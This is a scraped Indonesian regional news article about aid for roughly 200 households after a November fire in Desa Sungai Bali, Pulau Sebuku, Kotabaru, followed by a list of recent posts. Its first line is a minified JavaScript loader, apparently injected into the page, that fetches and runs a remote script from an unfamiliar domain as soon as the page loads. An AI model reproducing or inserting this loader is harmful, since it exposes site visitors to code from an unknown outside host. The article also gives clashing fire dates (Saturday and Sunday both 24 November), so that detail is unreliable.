(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Sebulan Pasca Kebakaran di Pulau Sebuku, Rp 1,8 Miliar Bantuan Telah Disalurkan


BANJARBARU, Satu bulan pasca musibah kebakaran yang menghanguskan kurang lebih 200 rumah warga di Desa Sungai Bali, Kecamatan Bumi Natar, Pulau Sebuku, Kotabaru.

Seiring waktu, kondisi di lokasi tersebut berangsur-angsur kian membaik. Aktivitas warga pun telah berjalan seperti biasanya, meskipun masih banyak warga yang  menggungsi di rumah keluarga mereka dan ada juga yang tidur di tenda.

Kepala Pelaksana Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalsel, Wahyuddin, mengatakan untuk kebutuhan sandang dan pangan telah dinyatakan cukup untuk masyarakat yang terdampak. Namun, berbeda dengan pembangunan rumah-rumah warga. Ujud -sapaan akrab- menyatakan, bahwa bantuan yang tersalurkan hampir mencapai Rp 2 miliar, hanya mencukupi untuk membangun hunian sementara.

“Hingga Selasa (17/12) kemarin, bantuan telah mencapai Rp 1,8 miliar. Bantuan ini berasal dari swasta, DPRD, dan juga dari individu Aparatur Sipil Negara (ASN). Dengan uang bantuan ini sudah mencukupi untuk hunian sementara,” katanya kepada Kanalkalimantan.com.

Sedangkan jika membangun kembali bangunan rumah warga, ungkap Ujud, perlu dilakukan pendataan ulang dam survey oleh Pemerintah Kotabaru. Sebab, bantuan rumah memang harus melewati beberapa proses dan tahapan.

“Saat ini warga mandiri dulu, karena sifatnya hunian sementara. Kalau sudah semua diperhitungkan oleh Pemerintah Daerah (Pemda), nanti akan diusulkan berapa bantuan yang akan disalurkan untuk membangun rumah-rumah warga ini,” tegasnya.

Di sisi lain, Bupati Kotabaru H.Sayed Jafar telah menegaskan bahwa pembangunan rumah-rumah penduduk akan dilakukan tata ulang, baik menyangkut jaringan jalan, sanitasi, air bersih, instalasi listrik, dan pasar Desa. Pasalnya, kondisi perumahaan sebelumnya terkesan kumuh, sangat rawan jika ada munculnya api. “Di antara rumah kita beri, space (ruang/jarak), dan pasarnya kita relokasi. Bahkan akan kita buatkan taman hijau di desa tersebut,” katanya.

Musibah kebakaran yang menghanguskan kurang lebih 75 persen permukiman warga di Desa Sungai Bali, Kecamatan Bumi Natar Pulau Sebuku, Kotabaru, terjadi Sabtu tanggal 24 November, sekitar pukul 21.30 Wita.

Saat itu, api menyala 5 jam lamanya dan terus merembet ke rumah-rumah warga. Api dengan cepat membesar karena bangunan rumah warga mayoritas berbahan material kayu. Kobaran api mulai bisa dikuasai pada Minggu 24 November 2019 sekitar pukul 03.48 Wita. Tercatat, api pada malam itu menghanguskan 200 rumah, dua los pasar, satu kantor Polsek, lima pintu Asrama Polisi dan satu Mushala, serta mengakibatkan 750 jiwa mengungsi. (Rico)

Reporter : Rico
Editor : Chell

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.